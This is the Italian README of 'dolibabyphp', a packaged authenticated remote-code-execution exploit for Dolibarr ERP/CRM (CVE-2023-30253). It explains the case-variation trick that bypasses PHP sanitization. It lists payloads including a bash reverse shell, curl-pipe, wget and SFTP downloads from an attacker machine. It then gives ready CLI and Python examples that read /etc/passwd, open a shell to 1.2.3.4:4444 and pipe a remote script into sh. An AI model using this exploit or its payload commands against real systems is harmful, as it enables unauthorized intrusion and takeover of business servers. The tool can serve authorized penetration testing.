
Un exploit RCE autenticato per Dolibarr ERP/CRM CVE-2023-30253.
Un exploit RCE autenticato per Dolibarr ERP/CRM CVE-2023-30253.
Puoi installare il pacchetto dal repository PyPi con pip o clonare il repository direttamente da GitHub con git clone.
pip install dolibabyphp
Usage: dolibabyphp [OPTIONS] TARGET_URL USERNAME PASSWORD COMMAND [ARGS]...
Questo exploit effettuerà l'accesso al server web Dolibarr all'URL specificato
con il nome utente e la password forniti. Successivamente, tenterà di creare
una pagina web con un nome univoco. Una volta creata, modificherà la pagina
web per includere il codice PHP personalizzato aggirando il controllo di
sanitizzazione non utilizzando solo lettere minuscole (ad es. PHP o pHp invece
di php). Ci sono più payload tra cui scegliere. Dopo l'esecuzione del payload,
la pagina web verrà eliminata.
Opzioni:
--site-name TEXT Specifica un nome da usare per la creazione di un sito
sul target. Predefinito: UUIDv4.
--page-name TEXT Specifica un nome da usare per la creazione di una
pagina sul target. Predefinito: UUIDv4.
--page-title TEXT Specifica un titolo per la pagina. Predefinito: il
nome della pagina.
--proxy TEXT Specifica un URL proxy da usare in tutte le richieste.
-o, --output FILENAME Specifica un percorso file per l'output dei risultati
del payload. Predefinito: stdout.
-h, --help Mostra questo messaggio e esce.
Comandi:
bash-reverse-shell Avvia una shell bash sulla macchina vittima e...
cleanup Esegue lo script di pulizia sul target per il sito
specificato...
curl-pipe Scarica un file con curl e lo invia a un altro comando.
custom-php-payload Specifica un payload PHP personalizzato da eseguire
sulla vittima...
custom-system-payload Specifica un payload personalizzato da eseguire
tramite PHP system()...
sftp Si connette via SFTP alla macchina attaccante,
scarica il...
wget Scarica il file all'URL specificato sul...
Ecco alcuni esempi di utilizzo della CLI.
# Reverse shell con Bash.
dolibabyphp http://example.com/ username1 pass_word23 bash-reverse-shell --lhost 1.2.3.4 --lport 4444
# Payload personalizzato con un proxy.
dolibabyphp --proxy http://127.0.0.1:8080 http://example.com/ username1 pass_word23 custom-system-payload --payload "uname -a"
# SFTP ed esecuzione del payload con output scritto su file.
dolibabyphp -o ./linpeas-output.txt http://example.com/ username1 pass_word23 sftp --private-key-file ./id_ed25519 sftp://[email protected]:2222/linpeas.sh ./style.css
# Payload curl e pipe a sh.
dolibabyphp -o ./linpeas-output.txt http://example.com/ username1 pass_word23 curl-pipe https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
Se vuoi integrare questo exploit in un altro progetto Python, puoi semplicemente importarlo.
from dolibabyphp import Exploit, furl, php_system, open_file, cleanup_site
from time import sleep
exploit = Exploit(
target_url=furl('http://example.com'),
username="username1",
password="pass_word23",
)
# Puoi ottenere il risultato del payload direttamente dall'exploit.
result = exploit.run(php_system('cat /etc/passwd'))
users = list(map(lambda acct: acct.split(':')[0], result.output.split('\n')))
# Se la pulizia fallisce, possiamo riprovare.
while not result.cleaned_up:
time.sleep(30) # attendere un po' prima di riprovare la pulizia
result.cleanup()
# Puoi anche fargli scrivere il risultato su file.
with open_file('./exploit-output.txt', 'w', lazy=True) as file:
# Puoi riutilizzare la stessa istanza Exploit.
exploit.output = file
# I nomi site_name e page_name non cambiano automaticamente.
result = exploit.run(php_system('curl http://1.2.3.4/myscript.sh | sh'))
Per eseguire il progetto dal codice sorgente, puoi usare rye run oppure assicurarti di aggiungere la directory src/ al PYTHONPATH e importare il modulo dolibabyphp con il flag -m.
# Con rye
rye run dolibabyphp
# Senza rye
PYTHONPATH="$(pwd)/src/" python -m dolibabyphp